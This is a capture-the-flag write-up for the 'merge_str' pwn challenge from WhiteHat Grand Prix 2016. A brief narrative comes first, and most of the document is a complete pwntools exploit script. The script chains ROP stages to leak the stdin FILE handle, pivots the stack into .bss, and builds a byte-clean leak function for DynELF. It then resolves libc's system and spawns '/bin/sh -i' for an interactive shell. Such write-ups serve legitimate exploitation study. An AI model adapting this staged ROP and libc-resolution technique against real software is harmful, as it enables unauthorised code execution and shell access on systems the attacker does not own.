A walkthrough of the whitehat merge_strt challenge from whitehat grandprix 2016 ctf.

Here is the binary if you want to play with it too. merge_str

This exploit resolves system dynamically so its libc version agnostic.

My code

This challenge was in fact fairly eazy to solve since all that was actually required is read a flag.txt. The binary actually imports fopen and fread so reading flag.txt was trivial once the bug discovered and controlled.

Although our team got the flag quickly (thanks to @uaf.io) I could not rest until I had a shell on the box.

The main challenge was that we could not find the right version of libc from the functions leaked in the .got. For some obscure reason also roputils.py could not craft a payload that would dynamically link system either. I therefore resorted to using pwntools with DynELF to resolve system and then call system(‘/bin/sh’).

Using DynELF however requires a perfect leak function. This means that the leak fuction has to support any byte in the address it’s passed. Achieving this was not easy and required 3 stages just to get a proper leak function that I could use with DynELF. Once that was done, I could simply resolve system and voila!

Here is my final exploit for the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python

from pwn import *

offset = 22
binary = ELF('./merge_str')
addr_bss = binary.bss(0)
main = 0x8048c7f

p = process(binary.path)
#p = remote('bakpwn06.grandprix.whitehatvn.com', 23506)
#p = remote('pwn06.grandprix.whitehatvn.com', 23506)
#p = remote('localhost', 1234)

'''
Stage1
Using my primitive leak function which can only deal with payloads that have no newline and no nullbyte,
I leak the FILE handle for stdin. This will allow me to use fgets removing the null byte restriction.
I will however, still have the newline restriction.
'''
filehandle = 0x804affc
def leak1(addr):
    payload1 = 'A' * 13
    payload2 = 'B' * 12
    p.recvuntil('Message 1 : ')
    p.sendline(payload1)
    p.recvuntil('Message 2 : ')
    p.sendline(payload2)
    p.recvuntil('?(Y/N)')
    p.sendline('y')
    p.recvuntil('Index :')
    idx = 190
    p.sendline(str(idx))
    p.recvuntil('String:')
    rop = ROP(binary)    
    rop.call('puts',[addr])
    rop.call(main)
    padding = 'A' * offset
    p.sendline(padding + str(rop))
    return p.read(4)

print 'stage1 : leaking stdin FILE handle'
filehandle = u32(leak1(filehandle)[:4]) - 0x85c

'''
Stage2
Using fgets with my newly leaked FILE handle for stdin, I use fgets to read in my next ropchain.
At this point, instead of replaying main for my next stage I simply pivot to my next ropchain.
'''
print 'stage2 : staging proper leak function'
rop = ROP(binary)    
padding = 'A' * offset
rop.call('fgets', [addr_bss+0x500, 0x7fffffff, filehandle])
rop.migrate(addr_bss+0x500)
payload1 = 'A' * 13
payload2 = 'B' * 12
p.recvuntil('Message 1 : ')
p.sendline(payload1)
p.recvuntil('Message 2 : ')
p.sendline(payload2)
p.recvuntil('?(Y/N)')
p.sendline('y')
p.recvuntil('Index :')
idx = 190
p.sendline(str(idx))
p.recvuntil('String:')
p.sendline(padding + str(rop))

'''
Stage3
This is my leak function/payload. The first time its called, its staged using fgets. This means that the 
ropchain cannot contin newlines. However, any subsequent call to it have no byte restrictions because
I am now using fread to stage my next ropchain. I alternate between two areas in my .bss to stage and pivot to.
I could only use fread once I could use null bytes in my payload because of fread's 2nd and 3rd arguments.

This leak function can now be used with DynELF to resolv system in libc.
'''
flag = False
def leak2(addr):
    global flag
    if flag:
        pivotto = addr_bss+0x500
    else:
        pivotto = addr_bss+0x400
    flag = not flag
    rop = ROP(binary)    
    rop.call('alarm', [0])
    rop.call('puts', [0x8048e67])#BOF!!!
    rop.call('puts', [addr])
    rop.call('puts', [0x8048e67]) #BOF!!!
    rop.call('fread', [pivotto, 85,1, filehandle])
    rop.migrate(pivotto)
    p.sendline(str(rop))
    p.recvuntil('BOF!!!\n')
    val = p.recvuntil('\nBOF!!!\n')
    val = val[:-len('\nBOF!!!\n')]
    if val == '':
        return '\x00'
    else:
        return val

print 'stage3 : resolving system using pwntools DynELF'
d = DynELF(leak2, main, elf=binary)
system = d.lookup('system', 'libc')

'''
stage4
Now that I resolved system, all that is left to do is call system("/bin/sh").
This is done in two stages. First the ropchain and then the /bin/sh string.
Enjoy your shell!
'''
shellstring = '/bin/sh -i\x00'
print 'stage4 : calling system("/bin/sh")'
rop = ROP(binary) 
rop.call('fread', [addr_bss, len(shellstring),1, filehandle])
rop.call(system, [addr_bss])
rop.call('exit', [0])
padding = 'a' * (84 - len(str(rop)))

p.sendline(str(rop) + padding)
p.sendline(shellstring)
p.interactive(0)

enjoy